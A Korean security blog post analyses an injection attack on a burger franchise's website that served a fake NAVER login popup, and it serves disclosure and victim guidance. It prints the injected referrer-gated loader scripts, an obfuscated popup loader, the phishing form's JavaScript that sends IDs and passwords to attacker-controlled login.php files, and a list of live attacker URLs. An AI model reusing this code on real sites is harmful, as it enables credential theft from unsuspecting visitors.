11월 29일 21시, 국내 햄버거 프랜차이즈인 '맘스터치(Mom's Touch)' 사이트가 해킹을 당한 것으로 확인되었습니다.
공식 사이트(momstouch.co.kr)에 접속 시 팝업 창으로 국내 포털 사이트 네이버(NAVER)의 로그인 창이 발생합니다. 네이버의 로그인 주소는 'nid.naver.com'지만, 팝업의 로그인 창은 'https://www.bandalshop.com//files/naver//login.php'로 확인됩니다. (계속해서 바뀌는 중)
login.php (네이버 로그인 피싱)에는 입력된 ID와 PW를 공격자에게 보내는 기능이 포함되어 있는 것으로 추정됩니다. 매개변수로 ua에는 입력된 ID를, pa에는 입력된 패스워드를 담아 GET 요청을 보냅니다.
해당 파일이 게시된 사이트는 단체복 쇼핑몰인 반달샵(bandalshop.com)으로 이 글을 작성하는 23시 기준, 여전히 파일이 남아있는 것으로 확인됩니다. ua와 pa에 값을 담아서 요청하면 여전히 값을 저장하는 모습을 볼 수 있습니다.
다시 맘스터치 사이트로 돌아가보겠습니다. 맘스터치 사이트를 보면 우선 helloamarket.com에 저장된 'naver.js' 스크립트 파일을 호출합니다.
var ref = document.referrer;
reg = "naver|google|daum|zum|bing";
var myreg = new RegExp(reg);
if (myreg.test(ref)){
document.write("<script src=https://helloamarket.com/data/jejutv/ep/banner.js></script>");
}
해당 사이트를 들어오기 전의 사이트가 네이버, 구글, 다음, 줌, 빙 등의 검색엔진인 경우 'banner.js'라는 새로운 스크립트를 호출합니다. 즉, 검색을 통해서 들어와야만 네이버 로그인 피싱 창이 발생하게 됩니다.
새로 호출된 banner.js는 다음과 같은 내용을 담고 있습니다.
if(document.cookie.indexOf("sdvbdtrw=")==-1)
{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="sdvbdtrw=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("\x6D"+"\x73"+"\x69\x65"+"\x20\x37")==-1);
document.write("<script src=https://kciltd.com/board/naver/></script>");
}
kclitd.com에 저장된 index.php를 banner로 띄우는 내용입니다. 여기서 index.php는 앞에서 언급한 login.php가 있는 다른 사이트로 리다이렉트하는 페이지입니다. 공격자는 JS 또는 PHP의 링크를 계속 변경하며 login.php와 같은 파일이 담긴 페이지를 계속 띄우고 있습니다.
아래는 login.php로 리다이렉트하는 index.php의 코드입니다.
var vva = [
"link",
"text/css",
"stylesheet",
"head",
"script",
"text/javascript",
"undefined",
"loaded",
"complete",
"//www.kiwooso.com/upload_data/cms/",
"//cdnjs.cloudflare.com/ajax/libs/layui/2.6.8/layui.js",
"//cdnjs.cloudflare.com/ajax/libs/layui/2.6.8/css/layui.css",
"100px",
"naver",
"login",
"poplog",
"62%",
"95%",
"/login.php?m=1",
"480px",
"570px",
"/login.php",
"message",
"string",
"poplog",
"login",
"poplog",
];
function vodf88(vod329) {
var vod256 = window["document"]["createElement"](vva[0]);
vod256["type"] = vva[1];
vod256["rel"] = vva[2];
vod256["href"] = vod329;
window["document"]["getElementsByTagName"](vva[3])[0]["appendChild"](vod256);
}
function vod801(vod329, vodd5b) {
var vodf9f = window["document"]["createElement"](vva[4]);
vodf9f["type"] = vva[5];
if (typeof vodd5b != vva[6]) {
if (vodf9f["readyState"]) {
vodf9f["onreadystatechange"] = function () {
if (vodf9f["readyState"] == vva[7] || vodf9f["readyState"] == vva[8]) {
vodf9f["onreadystatechange"] = null;
vodd5b();
}
};
} else {
vodf9f["onload"] = function () {
vodd5b();
};
}
}
vodf9f["src"] = vod329;
window["document"]["head"]["appendChild"](vodf9f);
}
var popurl = vva[9];
var vodd0f = vva[10];
var vodd2e = vva[11];
var vodfa4;
function vod463(vod329, vod766, vod141) {
vodfa4 = layer["open"]({
type: 2,
title: false,
area: [vod766, vod141],
fixed: false,
maxmin: false,
scrollbar: false,
offset: vva[12],
closeBtn: 0,
shade: 0.5,
id: vva[13],
content: vod329,
end: function () {
sessionStorage[vva[14]] = vva[15];
},
});
}
vodf88(vodd2e);
vod801(vodd0f, function () {
var vod598;
var voda8e;
if (/Android|webOS|iPhone|iPod|BlackBerry/i["test"](navigator["userAgent"])) {
vod598 = vva[16];
voda8e = vva[17];
popurl = popurl + vva[18];
} else {
vod598 = vva[19];
voda8e = vva[20];
popurl = popurl + vva[21];
}
window["addEventListener"](
vva[22],
function (vod739) {
if (typeof vod739["data"]["msg"] == vva[23]) {
if (vod739["data"]["msg"] == vva[24]) {
layer["close"](vodfa4);
}
}
},
false
);
if (sessionStorage[vva[25]] != vva[26]) {
vod463(popurl, voda8e, vod598);
}
});
코드 중간에 layui.js / layui.css (중국에서 개발된 CSS 프레임워크)가 있는 것으로 보아 중국발 해킹을 의심할 수 있습니다.
현재(11. 30. 15시) 까지 확인된 URL은 다음과 같습니다.
- https://bandalshop.com//files/naver//login.php - https://kciltd.com/board/naver/index.php - https://www.kiwooso.com/upload_data/cms//login.php - https://www.kiwooso.com/upload_data/cms//login.php1 - https://kciltd.com/board/aj/index.php - https://www.gosicenter.co.kr/vod//login.php - https://kciltd.com/board/fk/index.php - http://www.bandalshop.com//files/www/login.php |
login.php의 코드가 공개되었는데, 일부를 보면
사진과 같이 Banned_ip라 하여, ID와 PW 값에 고의적으로 쓰레기 값을 넣는 IP를 차단하는 모습도 확인할 수 있습니다. 그 외에도 login.php가 저장된 디렉터리 내 drdxdxds.txt에 사용자가 입력한 ID와 PW, IP, 시간을 기록하는 것을 볼 수 있습니다.
만일 실수로라도 ID와 PW를 입력 후 로그인 버튼을 누르신 경우, 즉시 네이버(NAVER.com)에 로그인 후 개인정보 수정을 통해 패스워드를 변경하여 주시기 바랍니다. 더 안전한 사용을 위해 비밀번호 변경 후 로그인 전용 아이디 설정 및 2차 인증(2FA) 활성화, 해외 로그인 차단 등의 보안 설정을 권장합니다.
(백업)
naver.php 中 js
function sendForm() {
user = document.getElementById("username").value;
pwd = document.getElementById("pw").value;
post(user, pwd);
}
function post(name, pwd) {
if (name == "") {
layer.msg("please enter username");
return false;
}
if (pwd == "") {
layer.msg("please enter password");
return false;
}
if (name.length < 4 || pwd.length < 4) {
var error_message = document.getElementById("error_message");
error_message.style.display = "inline-block";
document.getElementById("username").value = "";
document.getElementById("pw").value = "";
return false;
}
var isID = /^[a-z0-9][a-z0-9_\-]{4,19}$/;
if (!isID.test(name)) {
var error_message = document.getElementById("error_message");
error_message.style.display = "inline-block";
document.getElementById("username").value = "";
document.getElementById("pw").value = "";
return false;
}
sessionStorage["login"] = "poplog";
parent.postMessage(
{
msg: "poplog",
},
"*"
);
function Post(obj) {
window["callback"] = function (object) {
obj.success(JSON.parse(object));
};
var script = document.createElement("script");
script.src = obj.url + "?fn=callback";
for (key in obj.data) {
script.src += "&" + key + "=" + obj.data[key];
}
document.getElementsByTagName("head")[0].appendChild(script);
}
Post({
url: "login.php",
data: {
ua: user,
pa: escape(pwd),
},
success: function (data) {
/*alert("status" + data.status);*/
},
});
}
'[ IT ] > Security' 카테고리의 다른 글
한컴오피스 2024 크랙 버전을 통해 유포되는 악성코드 주의 (0) | 2024.04.19 |
---|---|
[긴급] 사이트 제작 대행 B모 社, MySQL 계정 정보 유출 정황 (150) | 2024.01.30 |
[긴급] 순천향대 사이트 공격으로 개인정보 유출 (229) | 2024.01.28 |
Behavior:Win32/Hive.ZY 탐지 알림을 발생하는 Defender 오류 (22. 9. 4.) (12) | 2022.09.04 |
가천대학교 생활관 공용 PC의 LNK 바이러스 (바로가기 바이러스) (12) | 2021.07.30 |
개발 적당히, 정치 적당히, 일상 적당히, 그냥 뭐든지 적당히만 하는 소프트웨어전공 대학생, 쏘가리입니다. Profile Image by REN (Twt@Ren_S2_)
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!